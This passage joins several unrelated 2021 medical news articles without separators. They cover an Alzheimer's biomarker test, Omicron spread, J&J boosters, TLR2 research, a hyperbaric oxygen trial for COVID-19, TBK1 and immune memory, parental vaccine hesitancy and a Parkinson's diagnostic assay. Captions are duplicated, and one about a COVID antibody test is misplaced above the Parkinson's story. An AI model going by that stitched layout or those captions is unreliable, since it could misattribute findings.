providers and other partners, to implement a comprehensive diagnostic testing strategy through its IMPACT-AD project, funded in part by Brain Canada. "The Alzheimer's disease biomarker test, which we have now made available to all Canadians, can help doctors accurately diagnose the disease even when only mild symptoms are present. Through the IMPACT-AD project, our aim was to gain a better understanding of how this testing impacts personal and medical decision making, and health care costs." The goal of IMPACT-AD is to inform positive change in the Canadian health care system to improve care and support for individuals living with Alzheimer's disease, and their families, according to DeMarco. Who can take the test? The test for Alzheimer's disease biomarkers through this program can only be ordered by a doctor specializing in dementia care. The doctor may recommend testing in individuals experiencing mild to moderate symptoms associated with Alzheimer's disease. Measuring changes in these biomarkers in the cerebrospinal fluid, the fluid surrounding the brain and spinal cord, helps doctors identify whether the cause of the symptoms may be due to Alzheimer's disease, and if the symptoms are likely to worsen over time. With input from patients, their families, and their doctors, DeMarco and her colleagues are working to address barriers to uptake and use in the Canadian healthcare system. How can the test help people experiencing memory loss and declining brain health? Early and accurate diagnosis of Alzheimer's disease is critical because timely access to health care and community services has the potential to lead to more effective treatment and improve quality of life. Current approaches for diagnosis rely on imaging tests and observation of the signs and symptoms of the disease. Adding the measure of proteins found in cerebrospinal fluid (biomarkers) has been shown to help correctly identify the disease and predict those with mild symptoms that are likely to progress to dementia. The research appeared last year in Alzheimer's & Dementia: Diagnosis, Assessment & Disease Monitoring. Explore further Early accumulation of tau in the brain predicts memory decline in Alzheimer's disease More information: Mari L. DeMarco et al, An automated clinical mass spectrometric method for identification and quantification of variant and wildtype amyloid 140 and 142 peptides in CSF, Alzheimer's & Dementia: Diagnosis, Assessment & Disease Monitoring (2020). Mari L. DeMarco et al, An automated clinical mass spectrometric method for identification and quantification of variant and wildtype amyloid 140 and 142 peptides in CSF,(2020). DOI: 10.1002/dad2.12036 Provided by Brain Canada Foundation (HealthDay)The Omicron variant is spreading rapidly in the United States and could trigger a huge wave of COVID infections as early as January, federal health officials said Tuesday. In just one week there was a sevenfold spike in the highly contagious variant's presence across the nation, according to the U.S. Centers for Disease Control and Prevention. That could strain an already overworked health system in many areas as the Delta variant continues to surge. That was the worst-case scenario presented in a new analysis discussed by agency officials during a media briefing Tuesday. The early signs are worrying: From Dec. 4 to Dec. 11, the Omicron variant likely jumped from a mere 0.4 percent of new infections in the United States to 2.9 percent, according to the new CDC data. In New York and New Jersey, Omicron already accounts for 13 percent of new cases. In the Houston Methodist hospital system, Omicron accounted for 13 percent of new cases in a four-day period leading up to Dec. 8, James Musser, chair of pathology and genomic medicine there, told the Washington Post. He expects Omicron's share of cases to approach 20 percent when new numbers are published Wednesday. The Omicron variant was first detected in Houston on Nov. 29. "We've had 21 months of this now, and we're sort ofI hate to say it, because it's tragicbut we're sort of skilled in the art of how to handle this," Musser added. In the CDC media briefing, the agency told public health officials that "we got to get people ready for this," Marcus Plescia, chief medical officer for the Association of State and Territorial Health Officials, told the Post. He said the Omicron and Delta variants, combined with seasonal flu, could turn out to be "triple whammy" and that he's "a lot more alarmed" after the CDC briefing. The second scenario shows a smaller Omicron surge in the spring, but it's unclear which scenario is more likely, the Post reported. The scenarios were given to senior White House officials as they decide whether, when and how to take new steps to combat the virus. There is some fresh data to consider: A study out of South Africa released this week showed that while the variant is more contagious than any scientists have seen so far, Omicron cases tend to be mild. "They're considering the information at the highest levels right now, and thinking through how to get the public to understand what the scenarios mean," a federal health official familiar with the briefing told the Post. "It looks daunting." The official said the "implications of a big wave in January that could swamp hospitals we need to take that potential seriously." The CDC's latest analysis of Omicron's spread matches that of several U.S. academic groups and data from the U.K., Denmark and Norway, the Post reported. Early data show that fully vaccinated people who receive a booster shot remain largely protected against severe illness and death from Omicron, but there are concerns about how few Americans have gotten boosters, officials say. Of the 200 million fully vaccinated people in the United States, more than 50 million have now received boosters, according to the CDC. Explore further UK says omicron to become its dominant variant within days More information: Visit the U.S. Centers for Disease Control and Prevention for more on the Visit the U.S. Centers for Disease Control and Prevention for more on the Omicron variant Copyright 2021 HealthDay. All rights reserved. A migrant receives a booster Johnson and Johnson vaccine against COVID-19 at Karatepe refugee camp, on the northeastern Aegean island of Lesbos, Greece, Wednesday, Dec. 15, 2021. The European Center for Disease Prevention and Control said Tuesday that it expects omicron to dominate infections in the EU within the next few months. It suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shot delivery. Credit: AP Photo/Panagiotis Balaskas The European Union drugs regulator said Wednesday that people 18 and older can receive a booster shot for the Johnson & Johnson COVID-19 vaccine at least two months after their initial shot of the one-dose vaccine. The European Medicines Agency also said the J&J vaccine can be used as a booster dose in people who have had two shots of the vaccines made by Pfizer and Moderna. The recommendations by the agency's human medicines committee give countries more flexibility as they roll out or accelerate booster campaigns to tackle the spread of the new omicron variant. The agency said that public health bodies in the EU's 27 countries may issue official recommendations on the use of booster doses, "taking into account the local epidemiological situation, availability of vaccines, and emerging effectiveness and the limited safety data for the booster dose." The U.S. Food and Drug Administration gave the green light to Johnson & Johnson booster doses in October, both for people who initially received the J&J and vaccine and for people who got immunized with other vaccines. Johnson & Johnson earlier presented results from a large study that found giving a second dose just two months after the first bumped protection against symptomatic COVID-19 to 94% from 70% in U.S. recipients. Mathai Mammen, global head of research and development at J&J's Janssen Pharmaceutical Companies, welcomed the positive opinion from the EMA, saying that a growing amount of data show that the company's vaccine "induces broad and durable humoral and cellular immune responses" either in a single shot or as a booster to rev up immunity. A staff member from the National Health Organisation (EODY) prepares a booster Johnson and Johnson vaccine against COVID-19 at Karatepe refugee camp, on the northeastern Aegean island of Lesbos, Greece, Wednesday, Dec. 15, 2021. The European Center for Disease Prevention and Control said Tuesday that it expects omicron to dominate infections in the EU within the next few months. It suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shot delivery. Credit: AP Photo/Panagiotis Balaskas A migrant receives a booster Johnson and Johnson vaccine against COVID-19 at Karatepe refugee camp, on the northeastern Aegean island of Lesbos, Greece, Wednesday, Dec. 15, 2021. The European Center for Disease Prevention and Control said Tuesday that it expects omicron to dominate infections in the EU within the next few months. It suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shot delivery. Credit: AP Photo/Panagiotis Balaskas A migrant receives a booster Johnson and Johnson vaccine against COVID-19 at Karatepe refugee camp, on the northeastern Aegean island of Lesbos, Greece, Wednesday, Dec. 15, 2021. The European Center for Disease Prevention and Control said Tuesday that it expects omicron to dominate infections in the EU within the next few months. It suggested that governments consider travel-related restrictions and press ahead with vaccination campaigns and booster shot delivery. Credit: AP Photo/Panagiotis Balaskas 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. European Commission President Ursula von der Leyen arrives for a meeting of the College of Commissioners, in Strasbourg, France, Tuesday, Dec. 14 2021. The College will discuss on a comprehensive package on energy and climate action and will also adopt a proposal for a revision of the Schengen Borders Code. Credit: Julien Warnand, Pool Photo via AP Omicron is expected to be the dominant coronavirus variant in the European Union's 27 nations by mid-January, the bloc's top official said Wednesday amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season. European Commission President Ursula von der Leyen said the EU is well prepared to fight omicron with 66.6% of its population fully vaccinated. She expressed disappointment that the pandemic will again disrupt year-end celebrations but said she was confident the EU has the "strength" and "means" to overcome COVID-19. "Like many of you, I'm sad that once again this Christmas will be overshadowed by the pandemic," she said. The EU-wide vaccination rate obscures that some EU nations, like Portugal and Spain, have immunized the vast majority of their people while other countries lag way behind. Bulgaria, for example, has just 26.6% of its population fully vaccinated, according to the European Centre for Disease Prevention and Control. Continental Europe can look at Britain for a sense of what lies ahead as omicron spreads; U.K. officials say it will be the country's dominant variant within days. The head of the U.K. Health Security Agency, Dr. Jenny Harries, said omicron is displaying a staggering growth rate compared to previous variants. "The difficulty is that the growth of this virus, it has a doubling time which is shortening, i.e. it's doubling faster, growing faster,'' Harries told a parliamentary committee on Wednesday. "In most regions in the U.K., it is now under two days. When it started, we were estimating about four or five.'' Harries said the variant poses "probably the most significant threat we've had since the start of the pandemic." Britain on Wednesday recorded 78,610 new infections, its highest confirmed daily total of the pandemic. But deaths remained far lower than during the country's previous peaks, before vaccines against the coronavirus were widely deployed. Scientists have said they don't know yet if omicron is as lethal as other virus variants. Alarming rises in infections as winter approached and the delta variant remained at large prompted many European governments to implement public health measures as excess mortality increased during the fall. The head of the World Health Organization says 77 countries have reported cases of omicron but the variant is probably in most countries by now, just not yet detected. WHO says data is still coming in and much remains unknown about the new variant. According to an analysis Tuesday of data from South Africa, where omicron is driving a surge in infections, the variant seems to be more easily spread from person to person and better at evading vaccines while causing less serious illness. "Omicron is spreading at a rate we have not seen with any previous variant. We are concerned that people are dismissing omicron as mild," WHO Director-General Tedros Adhanom Ghebreyesus said. "Surely we have learned by now that we underestimate this virus at our peril." Tedros emphasized that vaccines were just one toolif a major oneto fight the pandemic, along with measures like mask-wearing, better indoor ventilation, social distancing and hand washing. With omicron now on the scene, more countries are adopting restrictions. Italy this week required negative tests from vaccinated visitors, raising concerns that similar moves elsewhere will limit the ability of EU citizens to travel to see friends and relatives over the holidays. Portugal adopted a similar measure on Dec. 1, requiring a mandatory negative test for all passengers on arriving flights, regardless of their vaccination status, point of origin or nationality. Greece announced Wednesday that all arriving travelers must display a negative test starting Sunday unless they have spent less than 48 hours abroad. Von der Leyen said the EU faces a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron. "We're seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately, an increase in the number of deaths," she told European Parliament lawmakers. Von der Leyen insisted that the increase in infections in Europe right now remains due "almost exclusively" to the delta variant. She said that fighting vaccine skepticism is key, especially in EU nations with lower vaccination rates. "Because the price that we will pay if people are not vaccinated continues to increase," she said. "It's also a problem for our elderly citizens, who once again this Christmas can't see their grandchildren. And it's also a problem for those children who once again can't go to school. What kind of a life is that?" Echoing von der Leyen's comments, German Chancellor Olaf Scholz vowed Wednesday that his new government would do everything for Germany to overcome the coronavirus pandemic and let people return to normal lives. "We have no time to waste," said Scholz, who took office as Germany grapples with its biggest wave of infections during the pandemic to date. Scholz also said his German government won't tolerate a "tiny minority" of extremists trying to impose their will against coronavirus policies. As governments braced for the holiday season, Greece, Italy, Spain and Hungary began vaccinating children aged 5-11 against COVID-19. EU leaders have a summit scheduled for Thursday in Brussels. Explore further Omicron spreads faster and weakens jabs: WHO 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Credit: Pixabay/CC0 Public Domain An international collaboration between researchers from the Center for Cooperative Research in Biosciences (CIC bioGUNE, Bilbao), the Luxembourg Centre for Systems Biomedicine (LCSB) at the University of Luxembourgand and the Department of Immunology of St Jude Children's Research Hospital (Kanneganti Lab, Memphis) highlights how fostering synergies between computational and experimental studies can lead to important results in the field of immunology. In an article published in November in Trends in Immunology, researchers illustrate the potential of this type of collaboration through recent results obtained on the modulation of hyperinflammation in COVID-19. Both a computational approach led by Prof. Antonio Del Sol and an experimental study led by Dr. Thirumala-Devi Kanneganti showed that a specific protein could help modulate COVID-19-induced lung hyperinflammation. Building on this success, the authors detail how experimental and computational approaches can support each other and advocate for coordinated efforts to accelerate the discovery of new therapeutic targets. A promising new approach Thanks to the large amount of -omics data becoming increasingly available, sophisticated computational models are developed for new fields such as immunology and the predictions they generate will help identify key molecules in inflammatory processes. The application of such computational systems biology approaches to immunology could lead to novel and more efficacious therapeutic strategies. "The recent work of our two teams on the modulation of hyperinflammation in COVID-19 illustrates really well how the synergy between experimental and computational researchers can accelerate the discovery of molecules of interest," explains Prof. Antonio Del Sol, head of the Computational Biology groups at the LCSB and CIC bioGUNE. "By using computational modeling to inform traditional experimental approaches, we confirmed in a few months a potential target for medical intervention in COVID-19 patients. This is indeed very promising." Understanding the "cytokine storm" in COVID-19 In recent studies, researchers from the LCSB and CIC bioGUNEon the computational sideand from the Kanneganti Lab at St. Jude Children's Research Hospitalon the experimental sidefocused on the mechanisms underlying the hyperinflammatory response in COVID-19. Hyperinflammation is caused when the immune response is amplified and maintained by positive feedback loops above the level needed to control disease. Kanneganti's lab recently found that in COVID-19, as well as other diseases, this hyperinflammatory "cytokine storm" could be mechanistically defined as a life-threatening condition caused by excessive production of proinflammatory proteins, cytokines, mediated by a form of inflammatory cell death called PANoptosis. In COVID-19, PANoptosis and the concomitant cytokine storm cause organ damage and increase the severity of the symptoms. This makes treatment challenging, as therapeutics need to alleviate inflammation while maintaining the patient's ability to clear the virus through cell death and other pathways. It is therefore crucial to identify the molecules that amplify and maintain the inflammatory response. It is the first step towards new and putative life-saving therapeutic strategies. Two studies identify protein TLR2 as a target In a first study published in Science Advances, researchers from the Computational Biology groups of the LCSB and CIC bioGUNE used a novel computational method to analyse over 1700 cell-cell interactions and create a comprehensive map of the immune response in the lungs of COVID-19 patients. Their model identified Toll-like Receptor 2 (TLR2) as a molecule that might be able to modulate the inflammatory response, predicting that the inhibition of this protein could disrupt up to 75% of the feedback loops without interfering with the general immune response. The study put TLR2 on the map as a potential target for medical intervention in severe COVID-19 cases. Separately, the team of Dr. Thirumala-Devi Kanneganti from the Department of Immunology of St Jude Children's Research Hospital published a study in Nature Immunology that independently suggested that TLR2 might act as a key modulator of COVID-19-induced hyperinflammation. Using in vitro and in vivo experiments, the researchers found that increased expression of TLR2 in the blood of patients with COVID-19 correlated with disease severity and that, upon infection by the virus, TLR2 mediated the production of cytokines. The study also showed that treatment of transgenic mice with a TLR2 inhibitor protected the animals against SARS-CoV-2-mediated inflammatory cytokine production and mortality. "Experimental validation of computationally derived biomarkers is critical to provide multiple lines of evidence to support the proof-of-concept for the utility of targeting TLR2 to modulate inflammation. It is imperative to combine computational and experimental approaches to understand mechanisms involved in inflammatory processes," underlines Dr. Kanneganti. A coordinated effort to achieve full potential This example is far from the only one: In a growing number of studies, systems immunology approaches are being successfully employed to help predict novel therapeutic targets for modulating uncontrolled immune responses. "Computational modeling and experimental validation will become key partnerships in biomedical research and should be systematically developed to achieve their full potential," details Dr. Ilya Potapov, member of the Computational Biology group at the LCSB. In their recent paper published in November in Trends in Immunology, the three co-authors mention the challenges researchers will have to tackle when building computational models in the context of hyperinflammationsuch as technological limitations, shortage of good experimental models and mutual unawarenessand postulate that experimental and computational efforts should be synergised from the onset. "The technological advances have set the stage for us. Now, we need to work together to build accurate computational models, define the necessary data and design experiments to validate the computational predictions. This is the key to designing novel and more efficacious therapeutic strategies," concludes Prof. Del Sol. Explore further Investigating the modulation of the COVID-19 immune response More information: Ilya Potapov et al, Fostering experimental and computational synergy to modulate hyperinflammation, Trends in Immunology (2021). Journal information: Nature Immunology , Science Advances Ilya Potapov et al, Fostering experimental and computational synergy to modulate hyperinflammation,(2021). DOI: 10.1016/j.it.2021.11.004 Provided by CIC bioGUNE Credit: CC0 Public Domain High pressure (hyperbaric) oxygen resolves severe breathing difficulties in COVID-19 patients much more quickly than standard therapy, taking an average of 3 rather than 9 days, reveal the results of a small comparative clinical trial published online in Emergency Medicine Journal. This method of oxygen delivery is safe and effective for treating very sick COVID-19 patients, added to which portable hyperbaric chambers avoid the need to transfer patients elsewhere, so curbing the risk of virus spread, say the researchers. Hyperbaric oxygen (HBO2) treatment involves patients breathing oxygen inside a chamber at a pressure higher than the atmospheric pressure at sea level. This pressure is usually greater than 1.45 atmospheres absolute (ATA). But this level of pressure has the potential to worsen lung inflammation and/or cause potentially dangerous fluid build-up (pulmonary oedema) in the lungs of COVID-19 patients. While a few previously published studies have suggested that HBO2 is a safe and effective method for easing breathing difficulties, and the associated inflammation, in patients with COVID-19, well designed studies are needed to confirm this, say the researchers. To strengthen the evidence base, the researchers wanted to analyse the safety and effectiveness of HBO2 in patients with severe COVID-19, and find out if it reduced the risk of progression to respiratory distress, the need for mechanical ventilation, and death. Forty adults with COVID-19 who had been admitted to three different public hospitals in Buenos Aires, Argentina with severe breathing difficulties were randomly assigned to receive either standard therapy plus HBO2 or HBO2 alone (at 1.45 ATA). None had been able to achieve an oxygen saturation of 90% despite oxygen supplementation. This is regarded as the lowest safe percentage of oxygen in the blood. Their average age was 55; two thirds were men. Standard therapy consisted of antibiotics (ceftriaxone 2 g/day and azithromycin 500 mg/day for 7days), dexamethasone 8 mg/day, paracetamol 1 g every 6 hours in case of high temperature, and monitoring for complications. Oxygen was supplied with a reservoir mask. HBO2 treatment consisted of 5 or more sessions lasting 90 minutes each. The final analysis was based on 19 people in the HBO2 group and 20 in the comparison group. The use of HBO2 treatment, which averaged 6 sessions, had no statistically significant effect on the incidence of respiratory distress syndrome, the need for mechanical ventilation, or death within 30 days of admission. Four patients (3 in the comparison group and 1 in the HBO2 group) developed acute respiratory distress syndrome or required mechanical ventilation. And two died, one in each group. But the difference in oxygen saturation before and after treatment was significant for most HBO2 sessions, and showed an immediate and successive daily improvement, and at a steeper rate, than in those given standard therapy. The time taken to restore normal breathing was also shorter among those treated with HBO2: 3 days compared with 9 among those given standard therapy alone. The researchers accept that their study involved a small number of patients who were relatively young. And because the study was stopped early due to its apparent success, this limited their capacity to assess other outcomes. Nevertheless, they write: "Our findings suggest that supplementing oxygen through HBO2 treatment contributed to an increased [oxygen saturation] in patients with COVID-19 with severe hypoxaemia [breathing difficulties], with no significant adverse effects. "Cases of severe COVID-19 that need mechanical ventilation have a high mortality risk. Therefore, novel therapeutic strategies are needed, and this study offers evidence supporting HBO2 treatment." They add: "This treatment could be easily available in various settings. Portable hyperbaric chambers offer a fast set up to avoid transferring patients to other hospital areas, attenuating the risk of virus transmission." But larger trials are needed to further confirm the treatment's effects on survival, they say. In a linked editorial, Dr. John Kirkby of Washington University in St Louis, Missouri, cautions that the patients were not necessarily typical of all those admitted to hospital with COVID-19 and severe breathing difficulties. And because none of them received antiviral drugs or monoclonal antibody preparations, this might also suggest they had less severe infection. The hyperbaric pressure was also relatively low. Nevertheless, Kirkby concludes: "As we all look to improve our global capabilities to combat the effects of COVID-19, this study demonstrates the value of looking to make the most of available resources to properly evaluate novel treatment modalities, such as a lower cost, portable, lower pressure HBO2 to make a clinical impact on this pandemic." Explore further Gout drug help cuts need for oxygen therapy and hospital stay in COVID-19 patients More information: Hyperbaric oxygen as an adjuvant treatment for patients with COVID-19 severe hypoxaemia: a randomised controlled trial, Emergency Medicine Journal (2021). Hyperbaric oxygen as an adjuvant treatment for patients with COVID-19 severe hypoxaemia: a randomised controlled trial,(2021). emj.bmj.com/lookup/doi/10.1136/emermed-2021-211253 Editorial: emj.bmj.com/lookup/doi/10.1136/emermed-2021-212015 Journal information: Emergency Medicine Journal With a healthy immune system, infection causes CD4+ follicular T cells (blue) and immature B cells (red), two types of white blood cell, to form a temporary structure called the germinal center (green) in organs of the immune system. Spleen cells taken from a healthy mouse (left) and a mouse genetically modified to lack the enzyme TBK1 only in B cells (right) show that TBK1 is essential for normal germinal center formation during a malaria infection. Credit: Michelle S.J. Lee, Creative Commons By Attribution No Derivatives, creativecommons.org/licenses/by-nd/4.0/ Experts in Japan have identified a fundamental part of the immune system's long-term memory, providing a useful new detail in the pursuit to design better vaccines for diseases, ranging from COVID-19 to malaria. The research, published in the Journal of Experimental Medicine, reveals a new role for the enzyme TBK1 in deciding the fate of immune system memory B cells. The immune system is made of many cell types, but the two types relevant for this University of Tokyo research project are white blood cells called CD4+ follicular helper T cells and B cells. After the body recognizes an infection, the follicular helper T cells release chemical signals that cause immature B cells to learn and remember what pathogens to attack. This process of T-to-B cell signaling and B cell training occurs within a temporary cell structure called the germinal center in organs of the immune system, including the spleen, lymph nodes and tonsils. Memory B cells developed within the germinal center memorize a pathogen the first time it infects you and then if it ever gets into your body again, the mature, trained memory B cells attack it by inducing antibody production before the pathogen can multiply, saving you from feeling sick a second time. "A goal of vaccination is to produce high-quality memory B cells for long-lasting antibody production," said Project Assistant Professor Michelle S. J. Lee from the UTokyo Institute of Medical Science, first author of the recent publication. "There are many factors to consider when designing vaccines for long-lasting immunity, so we should not focus only on the germinal center alone. But if you don't have a functional germinal center, then you will be very susceptible to reinfection," said Lee. However, there is no limit to the number of times you can be bitten by mosquitoes and reinfected by the malaria parasite. Somehow, malaria parasites escape memory B cells. Although children are more likely to die from malaria than adults, some people can become severely ill despite any number of previous malaria infections. This ability of the parasite to prevent and evade effective B cells is what makes malaria an interesting pathogen for Professor Cevayir Coban, who leads the Division of Malaria Immunology at the UTokyo Institute of Medical Science and is last author of the research paper with Lee and collaborators at Osaka University. "We want to understand the fundamentals of the natural immune response. Whatever we do should aim to eventually benefit malaria patients," said Coban. "The COVID-19 pandemic brought global attention to infectious diseases and interest in vaccine design, so we have a chance to renew the focus on neglected diseases like malaria," she continued. Normal activity of the enzyme TBK1 in a type of white blood cells called B cells is essential for formation of long-term memory in the immune system. Researchers at UTokyo worked with healthy (Wildtype, top half of image) mice and mice genetically modified to lack TBK1 only in their B cells (TBK1-deficient, bottom half of image). When healthy mice were infected with the mosquito-borne parasite malaria, TBK1 reduces the activity of genes that block B cells development, allowing them to grow into mature memory B cells. The B cells of TBK1-deficient mice remain immature, meaning that if the mice survive their first malaria infection, their immune systems retain no long-term memory of the parasite and are extremely vulnerable to a repeated malaria infection. Credit: Michelle S. J. Lee, Creative Commons By Attribution No Derivatives, first published in Journal of Experimental Medicine, creativecommons.org/licenses/by-nd/4.0/ Over many years, the scientific community has identified a wide range of roles for the molecule TBK1, an enzyme that can alter the activity of genes or other proteins by adding chemical tags, through a process called phosphorylation. TBK1 has well-known roles in antiviral immunity. However, no research group had connected TBK1 to B cell fate and the germinal center. Researchers genetically modified mice that had nonfunctional TBK1 genes only in specific types of cells, primarily either B cells or CD4+ T cells. This cell type-specific knockout of TBK1 gives researchers a clearer idea of what a gene with many jobs is doing in different cells of the body. Coban, Lee and their colleagues infected these modified mice and healthy adult mice with the malaria parasite, observed their health, and then examined samples of their spleens and lymph nodes. Microscopy images revealed that germinal centers only form in mice that have functional TBK1 in their B cells. Mice with no TBK1 in their B cells were more likely to die and died sooner from the malaria infection than their normal peers. Additional experiments showed that the few mice who survived malaria with no TBK1 in their B cells were able to use other types of immune responses, but they can become reinfected. However, deleting TBK1 only from the CD4+ follicular helper T cells had no effect on the germinal centers or how the mice fared with a malaria infection. Further analysis confirmed that without TBK1, many proteins in immature B cells had abnormal phosphorylation compared to normal immature B cells. For different genes, abnormal phosphorylation can cause either abnormal increases or decreases in activity. Researchers suspect that in B cells, TBK1 activity acts as an off switch for certain genes, essentially turning off genes that trap the B cells in their immature state. "This is the first time to show TBK1 is essential in B cells to form the germinal centers and produce high-quality, mature antibodies," said Lee. Researchers are hopeful that eventually, with more fundamental knowledge about the remaining mysteries of the immune system, future vaccines can be designed to produce longer-lasting immunity, potentially without needing multiple doses of vaccine. However, vaccine design will always be complicated by the unique qualities of each pathogen and its mutated versions, especially in the case of rapidly evolving pathogens like SARS-CoV-2, the virus causing COVID-19. "For now, we can at least say that an effective vaccine tailored to produce long-lasting protective immunity should not reduce TBK1 activity in B cells," said Coban. Explore further B cells need the help of other memory cells to defend against chronic viruses Credit: COVID States Project Credit: Eunice Esomonu/Northeastern University After an initial wave of enthusiasm among parents to have their children vaccinated against COVID-19, there has been a noticeable uptick in parental resistance since June that is contributing to a slowing of the teen vaccination rate, a newly released study says. The proportion of vaccine-enthusiastic parents (defined as those who have either had their children vaccinated, or say that they are likely to do so) dropped to 57 percent in November from 64 percent at the start of the summer, according to a U.S. study by the COVID States Project, a collaborative effort by researchers from Northeastern, Harvard, Northwestern, and Rutgers. "That decline is striking to me," says David Lazer, a university distinguished professor of political science and computer science, and one of the study's authors. "We went through a rapid process of parents vaccinating their children, and now we're hitting a slow point (with teens) much sooner than we did with adults." The online survey involved more than 3,000 parents in the U.S. and accounted for differences in age, race, education level, and political affiliation. It found that vaccine reluctance was especially acute among Republican parents, young mothers, and people who live in rural parts of the country. White people, at 51 percent, have the lowest proportion of parents of any racial group to say that their teenagers had been vaccinated. Asian and Hispanic parents, at 72 percent and 62 percent, respectively, had the highest likelihood of having vaccinated children. The Pfizer-BioNTech vaccine has been authorized for 16- to 18-year-olds for about a year, while those in the 12- to 15-year-old category were approved in May of 2021. Combining both age groups, the survey found that as of November 2021, 55 percent of parents of 12- to18-year-olds said either all or some of their adolescents have received at least one shot. That has plateaued since September 2021, when it was 54 percent. The Northeastern-led survey also queried the parents of five- to 11-year-olds, who became eligible for their shots in early November, one day before the study launched. It found that 27 percent of all parents reported that their children had already received at least one injection. But unlike the white parents of 12- to 18-year-olds who were the most skeptical of immunizations, Black parents of five- to 11-year-olds were the most hesitant for the younger age group. What explains dwindling enthusiasm overall among some moms and dads? It's likely the same mechanisms that are driving hesitancy toward the shots in general, researchers say. People remain concerned that the vaccines are just too new, and there hasn't been strong messaging on the fact that the underlying mRNA technology has been around for a long time but was only applied very quickly for the coronavirus, according to Alauna Safarpour and Krissy Lunz Trujillo, postdoctoral researchers at Northeastern's Network Science Institute who worked on the study. "People don't want to risk their child's health on something that they see as experimental," Safarpour says. Another possible factor: Parents may not perceive the threat of COVID-19 to be as great for children as for themselves. "Kids statistically have less complications or hospitalizations compared to other age groups," says Trujillo. The onus on getting the word out to parents about the safety of vaccines lies mainly with primary care physicians since they hold the most sway, as prior Northeastern research studies have shown. "Pediatricians are going to be really important here, but also insurance companies, and of course, the White House," says Safarpour. The Biden administration has run into several legal roadblocks with its vaccine mandates for hospital workers, large private businesses, and federal government contractors. That leaves a potential pool of tens of millions of unvaccinated people should the court bans become permanent. The Justice Department is challenging the temporary curbs. In the Senate, two DemocratsJon Tester of Montana and Joe Manchin of West Virginiajoined all 50 Republicans to overturn President Biden's vaccine or testing mandate for private businesses with 100 or more employees. It was a chance for Republicans to frame the administration's efforts to increase vaccinations as federal overreach. It's unclear if the measure will be brought up in the House, but if it were to pass the lower chamber it would likely be vetoed by Biden. One concern that has begun to crop up is that if the courts strike down a COVID-19 vaccine mandate, it could pave the way to eliminate other mandatory childhood vaccinations that have been around for decades, researchers warn. "There might be a spillover effect on anything related to a public health mandate," says Trujillo. "That's a huge concern that we need to think about sooner rather than later." More information: Kristin Lunz Trujillo et al, The COVID States Project #71: Childhood COVID-19 vaccine uptake and intentions, (2021). Kristin Lunz Trujillo et al, The COVID States Project #71: Childhood COVID-19 vaccine uptake and intentions,(2021). DOI: 10.31219/osf.io/cu4jz Oxford University researchers release cheap, quick COVID-19 antibody test. Credit: Shutterstock Scientists at the Oxford Parkinson's Disease Centre (OPDC) have been able to use a highly-sensitive method called -synuclein real-time quaking-induced conversion (Syn-RT-QuIC) to observe the clumping of alpha-synuclein in the cerebrospinal fluid (CSF) taken from people with Parkinson's. The findings offer hope that a pioneering new clinical test could be developed to diagnose Parkinson's correctly in its early stages. Alpha-synuclein is a protein known to form sticky clumps, known as Lewy bodies, in the brain cells of people with Parkinson's and some types of dementia. These clumps are associated with the death of dopamine producing nerve cells which causes the motor symptoms associated with Parkinson's, including freezing, tremors and slowness of movement along with the 'hidden' symptoms such as anxiety and memory problems. Funded by the charity Parkinson's UK, the study investigated whether the Syn-RT-QuIC method could be used as an early diagnostic test or measure of progression for Parkinson's. The study was carried out in people with Parkinson's taking part in the Discovery study of the OPDC, which is collecting a wealth of data from a specific group of people over time to better understand Parkinson's. Previous studies have shown potential for this test as a way to identify people with the conditions. In a recent survey of more than 2,000 people with Parkinson's carried out by Parkinson's UK, more than a quarter (26 percent) reported they were misdiagnosed with a different condition before receiving the correct Parkinson's diagnosis. The signs and symptoms of Parkinson's can overlap with other conditions such as multiple system atrophy (MSA) and essential tremor. By having a tool for diagnosis that can be used in the clinic to distinguish between people who have MSA and Parkinson's but also measure the progression of the condition, delayed diagnosis can be avoided. This research set out to build on previous evidence, to see if the test was reproducible in a larger population to be used as a reliable way to diagnose Parkinson's and offer a way to monitor the progression of the condition. Researchers also wanted to see if the test could distinguish between different clinical subtypes of Parkinson's and people with Parkinson's from people with MSA. CSF samples were taken from 74 people with Parkinson's, 24 people with MSA, 45 people with idiopathic REM sleep behavior disorder (RBD) and 55 controls. CSF samples were taken by clinicians using a needle to take fluid from the lower back (lumbar puncture). The test showed 89 percent sensitivity for correctly identifying people with Parkinson's and 96 percent specificity for correctly identifying people without the condition. It was also able to distinguish people with MSA from people with Parkinson's and importantly helped to identify people with RBD who had abnormal alpha-synuclein and later developed Parkinson's. The test also successfully distinguished between different clinical subtypes of Parkinson's. There was no link between the test results and severity of symptoms in Parkinson's but in MSA the test results were linked to the severity of the condition. Therefore, further research would be needed to investigate whether the test could be used to measure progression. These promising findings published in Brain show that the tool has potential to help diagnose Parkinson's accurately and early. The assay holds a distinct advantage over other potential diagnostic tests, as it detects an exact process that is known to be involved in the causes and progression of Parkinson's, that is the aggregation of misfolded alpha-synuclein, thus acting like a window to the process that is happening inside the brain. Dr. Beckie Port, Research Communications Manager at Parkinson's UK, said: "This hugely promising diagnostic test could aid in the earlier detection of Parkinson's. We know that people may well have been misdiagnosed with, and treated for, another condition before receiving their correct diagnosis of Parkinson's. The months leading up to a diagnosis by a health professional can cause huge anxiety. "This could be a significant development towards a future early diagnostic test for Parkinson's. Such a test would enable the newly diagnosed to access vital treatment and support to manage their Parkinson's symptoms sooner. An early diagnostic test could also speed up research into new drugs that slow the condition, which could prevent people from ever developing symptoms associated with Parkinson's." Parkinson's tends to develop gradually and it may be many months, even years, before the symptoms become obvious enough for an individual to visit their GP. A DaT scan is sometimes used to help specialists confirm the loss of dopamine-producing cells that cause the motor development of Parkinson's. However, similar loss may also occur in some other rarer neurological conditions. With no molecular test for the condition, diagnosis is made by a neurologist based on a combination of symptoms such as tremor, slowness, stiffness and balance issues. However, many of the symptoms of Parkinson's can overlap with other conditions, especially in the early stages when progression is gradual and symptoms are more subtle. Furthermore, clumping of alpha-synuclein may start over a decade before the clinical symptoms manifest, time which could be vital to researchers looking to develop treatments that stop Parkinson's in its tracks. Dr. Laura Parkkinen, Head of Neuropathology research in OPDC and Associate Professor in Nuffield 